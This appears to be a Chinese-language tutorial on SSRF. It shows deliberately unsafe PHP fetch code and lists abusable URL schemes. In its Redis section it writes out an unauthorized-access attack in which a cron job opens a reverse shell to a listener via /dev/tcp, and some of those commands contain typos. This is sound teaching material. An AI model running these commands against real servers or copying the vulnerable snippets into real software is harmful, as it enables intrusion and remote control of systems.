SSRF漏洞

一、SSRF是什么?

1、介绍

SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。

2、SSRF漏洞危害

  • 读取或更新内部资源,造成本地文件泄露
  • 将含有漏洞防主机用作代理/跳板攻击内网主机,绕过防火墙等
  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
  • 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
  • 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)

3、SSRF漏洞修复

  • 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
  • 限制不能访问内网的IP,以防止对内网进行攻击。
  • 屏蔽返回的详细信息。

二、产生SSRF漏洞的函数

1、file_get_content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//file_get_contents是把文件写入字符串,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了文件读取

<?php
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='./images/'.rand().'.img';\
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";

}
echo $img;
?>

2、fsockopen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//fsockopen()函数本身就是打开一个网络连接或者Unix套接字连接

<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

3、curl()

1
2
3
4
5
6
7
8
9
10
11
12
//利用方式很多最常见的是通过file、dict、gopher这三个协议来进行渗透,接下来也主要是集中讲对于curl()函数的利用方式

function curl($url){
$ch = curl_init(); // 初始化curl连接句柄
curl_setopt($ch, CURLOPT_URL, $url); //设置连接URL
curl_setopt($ch, CURLOPT_HEADER, 0); // 不输出头文件的信息
curl_exec($ch); // 执行获取结果
curl_close($ch); // 关闭curl连接句柄
}

$url = $_GET['url'];
curl($url);

漏洞攻击方式:

  1. 对外网,服务器所在内网,本地进行端口扫描(挨个试探),获取一些服务的banner信息
  2. 攻击运行在内网或本地的应用程序
  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)
  4. 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)
  5. 下载内网资源,利用file协议读取本地文件或资源等
  6. 内部任意主机的任意端口发送精心构造的Payload
  7. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  8. 利用Redis未授权访问,HTTP CRLF注入实现getshell

可以利用的协议

常用URL伪协议:

1
2
3
4
5
6
file:///  -- 本地文件传输协议,主要用于访问本地计算机中的文件
dict:// -- 字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628
sftp:// -- SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol)
ldap:// -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议
tftp:// -- 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机
gopher:// -- 互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前

三、redis未授权访问漏洞

redis介绍:

  • 数据结构丰富: Redis支持多种数据结构,包括字符串、哈希、列表、集合、有序集合、位图、HyperLogLog等。

  • 高性能: Redis是基于内存的数据库,数据存储在内存中,因此读写速度非常快。

  • 持久化: Redis支持两种持久化方式,分别是快照(Snapshotting)和AOF(Append-Only File),可以保证数据的持久性。

  • 复制和高可用性: Redis支持主从复制和Sentinel集群管理工具,可以实现数据的备份和高可用性。

  • 发布/订阅: Redis支持发布/订阅模式,可以用于实现消息队列、实时通知等场景。

(1)redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2)没有设置密码认证,可以避免远程登录redis服务

redis未授权访问漏洞的危害(利用方式)

一、利用定时任务反弹shell

监听机器:

1
nc -lvvp 4444 #主机ip地址

给通过目标主机的redis未授权访问漏洞写入反弹shell的指令

1
2
3
4
5
6
redis-c1i-h 192.168.0.104 set xxx "\n\n* * * * * /bin/bash-i>&/dev/tcp/192.168.61.149/4444 0>&1\n\n"
#÷÷***表示每分钟执行一次,/bin/bash-i是创建一个bash终端,>&/dev/tcp/192.168.61.149/4444是发送给192.168.61.149
的4444端口的监听程序。
config set dir /var/spool/cron
config set dbfi1 ename root#必须是某个用户的名称,因为定时任务的文件名称是根据用户名称来的,可以是root用户的名称
save#保存,公将redis中的数据保存到指定的目录和dbfilename指定的文件中去

四、SSRF漏洞危害

  • 读取或更新内部资源,造成本地文件泄露
  • 将含有漏洞防主机用作代理/跳板攻击内网主机,绕过防火墙等
  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
  • 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
  • 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)